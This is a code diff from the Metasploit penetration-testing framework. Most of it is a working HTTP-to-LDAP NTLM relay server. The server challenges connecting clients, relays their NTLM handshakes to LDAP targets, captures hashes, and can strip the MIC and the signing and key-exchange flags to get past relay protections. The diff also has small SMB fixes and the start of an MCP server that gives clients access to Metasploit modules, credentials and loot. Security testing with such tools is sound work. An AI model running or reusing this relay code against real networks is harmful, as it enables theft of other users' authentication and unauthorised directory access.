require 'http/cookie_jar'
|
||||
require 'http/cookie_jar/hash_store'
|
||||
|
||||
# This class is a collection of Http Cookies with some built in convenience methods.
|
||||
# Acts as a wrapper for the +::HTTP::CookieJar+ (https://www.rubydoc.info/gems/http-cookie/1.0.2/HTTP/CookieJar) class.
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# -*- coding: binary -*-
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::HttpServer
|
||||
module Relay
|
||||
|
||||
include ::Msf::Auxiliary::MultipleTargetHosts
|
||||
include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
attr_reader :logger
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]),
|
||||
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
|
||||
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']),
|
||||
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
|
||||
], self.class
|
||||
)
|
||||
@relay_clients = {}
|
||||
@relay_clients_mutex = Mutex.new
|
||||
end
|
||||
|
||||
def start_service(opts = {})
|
||||
@logger = opts['Logger'] || self
|
||||
|
||||
super
|
||||
|
||||
@http_relay_service = self.service
|
||||
|
||||
relay_path = '/'
|
||||
add_resource(
|
||||
'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) },
|
||||
'Path' => relay_path
|
||||
)
|
||||
end
|
||||
|
||||
def on_relay_request(cli, req)
|
||||
client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
|
||||
cli.keepalive = true
|
||||
relay_client = nil
|
||||
print_status("Received #{req.method} request for #{req.uri} from #{client_id}")
|
||||
|
||||
# When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep
|
||||
# track of the redirect URIs and associate them with the same client session. This allows the state machine to
|
||||
# continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect
|
||||
# URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each
|
||||
# request. Tracking the redirect URI's allows us to correlate the new connection with the existing session
|
||||
# and avoid the redirect loop.
|
||||
|
||||
@relay_clients_mutex.synchronize do
|
||||
# Try to find the client by their exact TCP connection
|
||||
if @relay_clients.key?(client_id)
|
||||
relay_client = @relay_clients[client_id]
|
||||
relay_client.cli = cli
|
||||
else
|
||||
previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' }
|
||||
|
||||
if previous_client_id
|
||||
# Seamlessly transfer the state machine from the old port to the new port
|
||||
relay_client = @relay_clients.delete(previous_client_id)
|
||||
relay_client.cli = cli
|
||||
@relay_clients[client_id] = relay_client
|
||||
else
|
||||
# This is a truly new client session
|
||||
relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new(
|
||||
cli,
|
||||
relay_targets,
|
||||
logger,
|
||||
datastore['RELAY_TIMEOUT']
|
||||
)
|
||||
relay_client.redirect_uri = req.uri # Track their starting path
|
||||
@relay_clients[client_id] = relay_client
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
relay_client.process_request(req)
|
||||
|
||||
@relay_clients_mutex.synchronize do
|
||||
if relay_client.finished? && @relay_clients[client_id].equal?(relay_client)
|
||||
@relay_clients.delete(client_id)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def send_auth_challenge(cli)
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = "NTLM"
|
||||
|
||||
cli.put(res.to_s)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @http_relay_service
|
||||
@http_relay_service.remove_resource('/')
|
||||
Rex::ServiceManager.stop_service(@http_relay_service)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,374 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::Exploit::Remote::HttpServer::Relay::NTLM
|
||||
class ServerClient
|
||||
|
||||
attr_reader :logger
|
||||
attr_accessor :cli, :state, :redirect_uri
|
||||
|
||||
def initialize(cli, relay_targets, logger, timeout = 25)
|
||||
@cli = cli
|
||||
@state = :unauthenticated
|
||||
@relay_targets = relay_targets
|
||||
@logger = logger
|
||||
@timeout = timeout
|
||||
@relayed_connection = nil
|
||||
@current_target = nil
|
||||
|
||||
@ntlm_context = {
|
||||
wrapper: :none,
|
||||
type1: nil,
|
||||
type2: nil
|
||||
}
|
||||
end
|
||||
|
||||
def process_request(req)
|
||||
logger.print_status("Processing request in state #{state} from #{cli.peerhost}")
|
||||
auth_header = req.headers['Authorization']
|
||||
auth_type, b64_message = extract_ntlm_message(auth_header)
|
||||
|
||||
parsed_ntlm = nil
|
||||
raw_ntlm_bytes = nil
|
||||
|
||||
if b64_message
|
||||
begin
|
||||
raw_ntlm_bytes = unwrap_ntlm_base64(b64_message)
|
||||
parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes)
|
||||
rescue ::Exception => e
|
||||
logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}")
|
||||
abort_connection("Invalid NTLM payload.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
case state
|
||||
when :unauthenticated
|
||||
if parsed_ntlm.nil?
|
||||
send_401_challenge
|
||||
elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
|
||||
logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...")
|
||||
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
else
|
||||
abort_connection("Expected No Auth or Type 1, got something else.")
|
||||
end
|
||||
|
||||
when :awaiting_type3
|
||||
if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3)
|
||||
logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...")
|
||||
handle_type3(parsed_ntlm)
|
||||
|
||||
elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
|
||||
logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
@relayed_connection = nil
|
||||
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
|
||||
else
|
||||
abort_connection("Expected Type 3, got something else.")
|
||||
end
|
||||
|
||||
when :done
|
||||
# The relay is finished for this connection, ignore further requests
|
||||
end
|
||||
end
|
||||
|
||||
def create_relay_client(target, timeout)
|
||||
case target.protocol
|
||||
when :ldap
|
||||
client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
|
||||
else
|
||||
raise RuntimeError, "unsupported protocol: #{target.protocol}"
|
||||
end
|
||||
|
||||
client
|
||||
rescue ::Rex::ConnectionTimeout => e
|
||||
msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
|
||||
elog(msg, error: e)
|
||||
logger.print_error msg
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
msg = "Unable to create relay to #{target}"
|
||||
elog(msg, error: e)
|
||||
logger.print_error msg
|
||||
nil
|
||||
end
|
||||
|
||||
def finished?
|
||||
state == :done || state == :aborted
|
||||
end
|
||||
|
||||
|
||||
def send_401_challenge
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = "NTLM, Negotiate"
|
||||
res.headers['Connection'] = "Keep-Alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
res.body = ""
|
||||
|
||||
cli.put(res.to_s)
|
||||
end
|
||||
|
||||
def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
|
||||
@ntlm_context[:type1] = raw_ntlm_bytes
|
||||
@current_target ||= @relay_targets.next(cli.peerhost)
|
||||
|
||||
if @current_target.nil?
|
||||
logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 404
|
||||
res.message = "Not Found"
|
||||
res.headers['Connection'] = "Close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
cli.send_response(res)
|
||||
@state = :done
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
|
||||
@relayed_connection = create_relay_client(@current_target, @timeout)
|
||||
|
||||
if @relayed_connection.nil?
|
||||
logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
|
||||
advance_to_next_target_via_redirect
|
||||
return
|
||||
end
|
||||
|
||||
if @current_target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm)
|
||||
elsif @current_target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(parsed_ntlm)
|
||||
else
|
||||
incoming_security_buffer = parsed_ntlm.serialize
|
||||
end
|
||||
|
||||
relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
|
||||
|
||||
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
|
||||
type2_msg = relay_result.message
|
||||
@ntlm_context[:type2] = type2_msg
|
||||
|
||||
if @ntlm_context[:wrapper] == :gss_spnego
|
||||
wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize)
|
||||
target_type2_msg = Rex::Text.encode_base64(wrapped_type2)
|
||||
auth_header = "#{auth_type} #{target_type2_msg}"
|
||||
else
|
||||
target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize)
|
||||
auth_header = "#{auth_type} #{target_type2_msg}"
|
||||
end
|
||||
logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 401
|
||||
res.message = "Unauthorized"
|
||||
res.headers['WWW-Authenticate'] = auth_header
|
||||
res.headers['Connection'] = "Keep-Alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
@state = :awaiting_type3
|
||||
return
|
||||
else
|
||||
logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.")
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}")
|
||||
end
|
||||
|
||||
advance_to_next_target_via_redirect
|
||||
end
|
||||
|
||||
def complete_current_relay_attempt(is_success:, identity: nil)
|
||||
return unless @current_target
|
||||
|
||||
@relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success)
|
||||
end
|
||||
|
||||
def handle_type3(parsed_type3)
|
||||
relay_succeeded = false
|
||||
relay_completed = false
|
||||
|
||||
# 1. Safely extract the identity from the Type 3 message early
|
||||
identity = nil
|
||||
if parsed_type3
|
||||
domain = parsed_type3.domain.to_s.force_encoding('UTF-8')
|
||||
user = parsed_type3.user.to_s.force_encoding('UTF-8')
|
||||
identity = "#{domain}\\#{user}" unless user.empty?
|
||||
end
|
||||
|
||||
if @current_target.drop_mic_and_sign_key_exch_flags
|
||||
incoming_security_buffer = do_drop_mic_and_flags(parsed_type3)
|
||||
elsif @current_target.drop_mic_only
|
||||
incoming_security_buffer = do_drop_mic(parsed_type3)
|
||||
else
|
||||
incoming_security_buffer = parsed_type3.serialize
|
||||
end
|
||||
|
||||
relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
|
||||
|
||||
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
|
||||
relay_succeeded = true
|
||||
|
||||
logger.on_ntlm_type3(
|
||||
address: @relayed_connection.target.ip,
|
||||
ntlm_type1: @ntlm_context[:type1],
|
||||
ntlm_type2: @ntlm_context[:type2],
|
||||
ntlm_type3: parsed_type3,
|
||||
service_name: 'HTTP'
|
||||
)
|
||||
|
||||
if identity.blank?
|
||||
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
else
|
||||
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
|
||||
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
|
||||
end
|
||||
|
||||
@relayed_connection = nil
|
||||
else
|
||||
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
|
||||
@relayed_connection.disconnect! if @relayed_connection
|
||||
@relayed_connection = nil
|
||||
end
|
||||
|
||||
complete_current_relay_attempt(is_success: relay_succeeded, identity: identity)
|
||||
relay_completed = true
|
||||
|
||||
@state = :done
|
||||
|
||||
advance_to_next_target_via_redirect
|
||||
rescue StandardError => e
|
||||
logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.message}")
|
||||
complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed
|
||||
end
|
||||
|
||||
def advance_to_next_target_via_redirect
|
||||
@current_target = @relay_targets.next(@cli.peerhost)
|
||||
|
||||
if @current_target
|
||||
random_path = "/" + Rex::Text.rand_text_alphanumeric(10)
|
||||
|
||||
@redirect_uri = random_path
|
||||
@logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}")
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 307
|
||||
res.message = "Temporary Redirect"
|
||||
res.headers['Location'] = random_path
|
||||
|
||||
res.headers['Connection'] = "keep-alive"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
|
||||
@state = :unauthenticated
|
||||
@ntlm_context[:type1] = nil
|
||||
@ntlm_context[:type2] = nil
|
||||
else
|
||||
@logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 404
|
||||
res.message = "Not Found"
|
||||
res.headers['Connection'] = "close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
|
||||
cli.send_response(res)
|
||||
@state = :done
|
||||
end
|
||||
end
|
||||
def abort_connection(reason)
|
||||
logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}")
|
||||
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = 400
|
||||
res.message = "Bad Request"
|
||||
res.headers['Connection'] = "Close"
|
||||
res.headers['Content-Length'] = "0"
|
||||
res.body = ""
|
||||
cli.put(res.to_s)
|
||||
@state = :aborted
|
||||
end
|
||||
|
||||
def unwrap_ntlm_base64(b64_msg)
|
||||
buf = Rex::Text.decode_base64(b64_msg)
|
||||
|
||||
if valid_ntlm_blob?(buf)
|
||||
@ntlm_context[:wrapper] = :none
|
||||
return buf
|
||||
end
|
||||
|
||||
gss_api = OpenSSL::ASN1.decode(buf)
|
||||
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
|
||||
logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message")
|
||||
@ntlm_context[:wrapper] = :gss_spnego
|
||||
return process_gss_spnego_init(buf)
|
||||
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
|
||||
logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message")
|
||||
@ntlm_context[:wrapper] = :gss_spnego
|
||||
return process_gss_spnego_targ(buf)
|
||||
end
|
||||
|
||||
raise ArgumentError, "Unrecognized NTLM or SPNEGO payload"
|
||||
end
|
||||
|
||||
def extract_ntlm_message(auth_header)
|
||||
return nil unless auth_header
|
||||
|
||||
# Match either "NTLM <base64>" or "Negotiate <base64>" (case insensitive)
|
||||
if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i
|
||||
return $1, $2 # Return The auth type and the base64 message
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def valid_ntlm_blob?(blob)
|
||||
blob&.start_with?("NTLMSSP\x00")
|
||||
end
|
||||
|
||||
def validate_ntlm_blob!(blob)
|
||||
raise ArgumentError, 'The NTLM blob found was malformed' unless valid_ntlm_blob?(blob)
|
||||
end
|
||||
|
||||
def process_gss_spnego_init(incoming_security_buffer)
|
||||
begin
|
||||
gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer)
|
||||
ntlm_blob = gss_init.mech_token
|
||||
validate_ntlm_blob!(ntlm_blob)
|
||||
ntlm_blob
|
||||
rescue RASN1::ASN1Error => e
|
||||
raise ArgumentError, "Failed to parse NTLMSSP Type1 from GSS: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def process_gss_spnego_targ(incoming_security_buffer)
|
||||
begin
|
||||
gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer)
|
||||
ntlm_blob = gss_targ.response_token
|
||||
validate_ntlm_blob!(ntlm_blob)
|
||||
ntlm_blob
|
||||
rescue RASN1::ASN1Error, ArgumentError => e
|
||||
raise ArgumentError, "Failed to parse NTLMSSP Type3 from GSS: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def do_drop_mic(ntlm_message)
|
||||
logger.print_status('Dropping MIC')
|
||||
ntlm_message.serialize
|
||||
end
|
||||
|
||||
def do_drop_mic_and_flags(ntlm_message)
|
||||
logger.print_status('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
|
||||
flags = ntlm_message.flag
|
||||
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
|
||||
ntlm_message.flag = flags
|
||||
ntlm_message.serialize
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -60,7 +60,7 @@ module Exploit::Remote::MsSamr
|
||||
rescue RubySMB::Dcerpc::Error::DcerpcError => e
|
||||
elog(e.message, error: e)
|
||||
raise MsSamrUnexpectedReplyError, e.message
|
||||
rescue RubySMB::Error::RubySMBError
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
elog(e.message, error: e)
|
||||
raise MsSamrUnknownError, e.message
|
||||
end
|
||||
|
||||
@@ -55,11 +55,21 @@ module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP
|
||||
)
|
||||
end
|
||||
|
||||
# Determines whether the relay connection originated from an HTTP server.
|
||||
#
|
||||
# @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise.
|
||||
def is_http_source?
|
||||
@provider && @provider.class.name.to_s.downcase.include?('httpserver')
|
||||
end
|
||||
|
||||
# @param [String] client_type3_msg
|
||||
# @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
|
||||
def relay_ntlmssp_type3(client_type3_msg)
|
||||
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
|
||||
if ntlm_message.ntlm_version == :ntlmv2
|
||||
|
||||
# Suppress the warning for HTTP sources because they can safely relay NTLMv2 type 3 messages. During testing
|
||||
# non-Windows HTTP clients that sent NTLMv2 type 3 messages were able to be relayed to LDAP without issue.
|
||||
if ntlm_message.ntlm_version == :ntlmv2 && !is_http_source?
|
||||
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
|
||||
end
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/encoder/ndr'
|
||||
require 'recog'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
@@ -413,7 +412,7 @@ module Msf
|
||||
# Leverage Recog for SMB native OS fingerprinting
|
||||
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
|
||||
|
||||
os = fp_match['os.product'] || 'Unknown'
|
||||
os = fp_match['os.product'] || fp_match['os.family'] || 'Unknown'
|
||||
sp = fp_match['os.version'] || ''
|
||||
|
||||
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
|
||||
|
||||
@@ -11,7 +11,6 @@ require 'monitor'
|
||||
#
|
||||
|
||||
require 'metasploit/framework/version'
|
||||
require 'rex/socket/ssl'
|
||||
require 'metasploit/framework/thread_factory_provider'
|
||||
module Msf
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# Main entry point for MSF MCP Server
|
||||
module Msf
|
||||
module MCP
|
||||
VERSION = '0.1.0'
|
||||
end
|
||||
end
|
||||
|
||||
# Load the base configuration (for default paths, etc.)
|
||||
require 'msf/base/config'
|
||||
|
||||
# Load the base Rex libraries
|
||||
require 'rex/socket'
|
||||
require 'rex/logging'
|
||||
require 'rex/logging/log_sink'
|
||||
|
||||
module Msf
|
||||
module MCP
|
||||
# Log source identifier for all MCP log messages.
|
||||
LOG_SOURCE = 'mcp'
|
||||
|
||||
# Log level aliases — semantic names for Rex::Logging level constants.
|
||||
LOG_DEBUG = Rex::Logging::LEV_3
|
||||
LOG_INFO = Rex::Logging::LEV_2
|
||||
LOG_WARN = Rex::Logging::LEV_1
|
||||
LOG_ERROR = Rex::Logging::LEV_0
|
||||
end
|
||||
end
|
||||
|
||||
# Load the MCP-specific logging components
|
||||
require_relative 'mcp/logging/sinks/json_stream'
|
||||
require_relative 'mcp/logging/sinks/json_flatfile'
|
||||
require_relative 'mcp/logging/sinks/sanitizing'
|
||||
require_relative 'mcp/middleware/request_logger'
|
||||
|
||||
# Error classes
|
||||
require_relative 'mcp/errors'
|
||||
|
||||
# Configuration Layer
|
||||
require_relative 'mcp/config/loader'
|
||||
require_relative 'mcp/config/validator'
|
||||
|
||||
# Security Layer
|
||||
require_relative 'mcp/security/input_validator'
|
||||
require_relative 'mcp/security/rate_limiter'
|
||||
|
||||
# Metasploit Client Layer
|
||||
require_relative 'mcp/rpc_manager'
|
||||
require_relative 'mcp/metasploit/messagepack_client'
|
||||
require_relative 'mcp/metasploit/jsonrpc_client'
|
||||
require_relative 'mcp/metasploit/client'
|
||||
require_relative 'mcp/metasploit/response_transformer'
|
||||
|
||||
# MCP SDK
|
||||
require 'mcp'
|
||||
|
||||
# MCP Layer
|
||||
require_relative 'mcp/tools/tool_helper'
|
||||
require_relative 'mcp/tools/search_modules'
|
||||
require_relative 'mcp/tools/module_info'
|
||||
require_relative 'mcp/tools/host_info'
|
||||
require_relative 'mcp/tools/service_info'
|
||||
require_relative 'mcp/tools/vulnerability_info'
|
||||
require_relative 'mcp/tools/note_info'
|
||||
require_relative 'mcp/tools/credential_info'
|
||||
require_relative 'mcp/tools/loot_info'
|
||||
require_relative 'mcp/server'
|
||||
|
||||
# Application Layer
|
||||
require_relative 'mcp/application'
|
||||
|
||||
# Make logging stubs (ilog, elog, dlog, wlog)
|
||||
include Rex::Logging
|
||||
|
||||
@@ -0,0 +1,334 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'msf/core/mcp'
|
||||
require 'optparse'
|
||||
|
||||
module Msf::MCP
|
||||
# Main application class that orchestrates the MCP server startup and lifecycle
|
||||
class Application
|
||||
VERSION = '0.1.0'
|
||||
BANNER = <<~BANNER
|
||||
MSF MCP Server v#{VERSION}
|
||||
Model Context Protocol server for Metasploit Framework
|
||||
BANNER
|
||||
|
||||
# For testing purposes:
|
||||
attr_reader :config, :msf_client, :mcp_server, :rate_limiter, :options, :rpc_manager
|
||||
|
||||
# Initialize the application with command-line arguments
|
||||
#
|
||||
# @param argv [Array<String>] Command-line arguments
|
||||
# @param output [IO] Output stream for messages (default: $stderr)
|
||||
def initialize(argv = ARGV, output: $stderr)
|
||||
@argv = argv.dup
|
||||
@output = output
|
||||
@options = {}
|
||||
@config = nil
|
||||
@msf_client = nil
|
||||
@mcp_server = nil
|
||||
@rate_limiter = nil
|
||||
@rpc_manager = nil
|
||||
end
|
||||
|
||||
# Run the application
|
||||
#
|
||||
# @return [void]
|
||||
def run
|
||||
parse_arguments
|
||||
install_signal_handlers
|
||||
load_configuration
|
||||
validate_configuration
|
||||
initialize_logger
|
||||
initialize_rate_limiter
|
||||
ensure_rpc_server
|
||||
initialize_metasploit_client
|
||||
authenticate_metasploit
|
||||
initialize_mcp_server
|
||||
start_mcp_server
|
||||
rescue Msf::MCP::Config::ValidationError, Msf::MCP::Config::ConfigurationError => e
|
||||
handle_configuration_error(e)
|
||||
rescue Msf::MCP::Metasploit::ConnectionError => e
|
||||
handle_connection_error(e)
|
||||
rescue Msf::MCP::Metasploit::APIError => e
|
||||
handle_api_error(e)
|
||||
rescue Msf::MCP::Metasploit::AuthenticationError => e
|
||||
handle_authentication_error(e)
|
||||
rescue Msf::MCP::Metasploit::RpcStartupError => e
|
||||
handle_rpc_startup_error(e)
|
||||
rescue StandardError => e
|
||||
handle_fatal_error(e)
|
||||
end
|
||||
|
||||
# Shutdown the application gracefully
|
||||
#
|
||||
# Performs cleanup operations before process termination:
|
||||
# - Logs shutdown event via Rex
|
||||
# - Closes MCP server and Metasploit client connections
|
||||
# - Cleans up resources
|
||||
#
|
||||
# @param signal [String] Signal name (e.g., 'INT', 'TERM')
|
||||
# @return [void]
|
||||
def shutdown(signal = 'INT')
|
||||
ilog({
|
||||
message: 'Shutting down',
|
||||
context: { signal: "SIG#{signal}" }
|
||||
}, LOG_SOURCE, LOG_INFO)
|
||||
@mcp_server&.shutdown
|
||||
@rpc_manager&.stop_rpc_server
|
||||
@output.puts "\nShutdown complete"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Parse command-line arguments
|
||||
#
|
||||
# @return [void]
|
||||
def parse_arguments
|
||||
parser = OptionParser.new do |opts|
|
||||
opts.banner = BANNER + "\nUsage: msfmcp [options]"
|
||||
|
||||
opts.on('--config PATH', 'Path to configuration file') do |path|
|
||||
@options[:config_path] = File.expand_path(path)
|
||||
end
|
||||
|
||||
opts.on('--enable-logging', 'Enable file logging') do
|
||||
@options[:enable_logging_cli] = true
|
||||
end
|
||||
|
||||
opts.on('--log-file PATH', 'Log file path (overrides config file)') do |path|
|
||||
@options[:log_file_cli] = path
|
||||
end
|
||||
|
||||
opts.on('--user USER', 'MSF API username (for MessagePack auth)') do |user|
|
||||
@options[:msf_user_cli] = user
|
||||
end
|
||||
|
||||
opts.on('--password PASS', 'MSF API password (for MessagePack auth)') do |password|
|
||||
@options[:msf_password_cli] = password
|
||||
end
|
||||
|
||||
opts.on('--no-auto-start-rpc', 'Disable automatic RPC server startup') do
|
||||
@options[:no_auto_start_rpc] = true
|
||||
end
|
||||
|
||||
opts.on('--mcp-transport TRANSPORT', 'MCP server transport type (\'stdio\' or \'http\')') do |transport|
|
||||
@options[:mcp_transport] = transport
|
||||
end
|
||||
|
||||
opts.on('-h', '--help', 'Show this help message') do
|
||||
@output.puts opts
|
||||
exit 0
|
||||
end
|
||||
|
||||
opts.on('-v', '--version', 'Show version information') do
|
||||
@output.puts "msfmcp version #{VERSION}"
|
||||
exit 0
|
||||
end
|
||||
end
|
||||
|
||||
parser.parse!(@argv)
|
||||
end
|
||||
|
||||
# Register a Rex log source when logging is enabled.
|
||||
#
|
||||
# Selects a JsonFlatfile sink pointed at the configured log path and wraps it
|
||||
# with the sanitizing middleware unless sanitization has been explicitly
|
||||
# disabled in the config.
|
||||
#
|
||||
# Priority: CLI flags > config file > defaults
|
||||
#
|
||||
# @return [void]
|
||||
def initialize_logger
|
||||
return unless @options[:enable_logging_cli] || @config.dig(:logging, :enabled)
|
||||
|
||||
log_file = @options[:log_file_cli] || @config.dig(:logging, :log_file)
|
||||
level = @config.dig(:logging, :level)
|
||||
threshold = case @config.dig(:logging, :level).upcase
|
||||
when 'DEBUG'
|
||||
Rex::Logging::LEV_3
|
||||
when 'INFO'
|
||||
Rex::Logging::LEV_2
|
||||
when 'WARN'
|
||||
Rex::Logging::LEV_1
|
||||
when 'ERROR'
|
||||
Rex::Logging::LEV_0
|
||||
end
|
||||
inner = Msf::MCP::Logging::Sinks::JsonFlatfile.new(log_file)
|
||||
sink = @config.dig(:logging, :sanitize) ? Msf::MCP::Logging::Sinks::Sanitizing.new(inner) : inner
|
||||
|
||||
deregister_log_source(LOG_SOURCE) if log_source_registered?(LOG_SOURCE)
|
||||
register_log_source(LOG_SOURCE, sink, threshold)
|
||||
end
|
||||
|
||||
# Install signal handlers for graceful shutdown
|
||||
#
|
||||
# @return [void]
|
||||
def install_signal_handlers
|
||||
Signal.trap('INT') { shutdown('INT'); exit 0 }
|
||||
Signal.trap('TERM') { shutdown('TERM'); exit 0 }
|
||||
end
|
||||
|
||||
# Load configuration from file or use defaults
|
||||
#
|
||||
# @return [void]
|
||||
def load_configuration
|
||||
if @options[:config_path]
|
||||
@output.puts "Loading configuration from #{@options[:config_path]}"
|
||||
@config = Msf::MCP::Config::Loader.load(@options[:config_path])
|
||||
else
|
||||
@output.puts "No configuration file specified, using defaults"
|
||||
@config = Msf::MCP::Config::Loader.load_from_hash({})
|
||||
end
|
||||
|
||||
# Apply CLI authentication overrides (highest priority)
|
||||
if @options[:msf_user_cli]
|
||||
@config[:msf_api][:user] = @options[:msf_user_cli]
|
||||
end
|
||||
if @options[:msf_password_cli]
|
||||
@config[:msf_api][:password] = @options[:msf_password_cli]
|
||||
end
|
||||
if @options[:no_auto_start_rpc]
|
||||
@config[:msf_api][:auto_start_rpc] = false
|
||||
end
|
||||
if @options[:mcp_transport]
|
||||
@config[:mcp][:transport] = @options[:mcp_transport]
|
||||
end
|
||||
end
|
||||
|
||||
# Validate the loaded configuration
|
||||
#
|
||||
# @return [void]
|
||||
def validate_configuration
|
||||
@output.puts "Validating configuration..."
|
||||
Msf::MCP::Config::Validator.validate!(@config)
|
||||
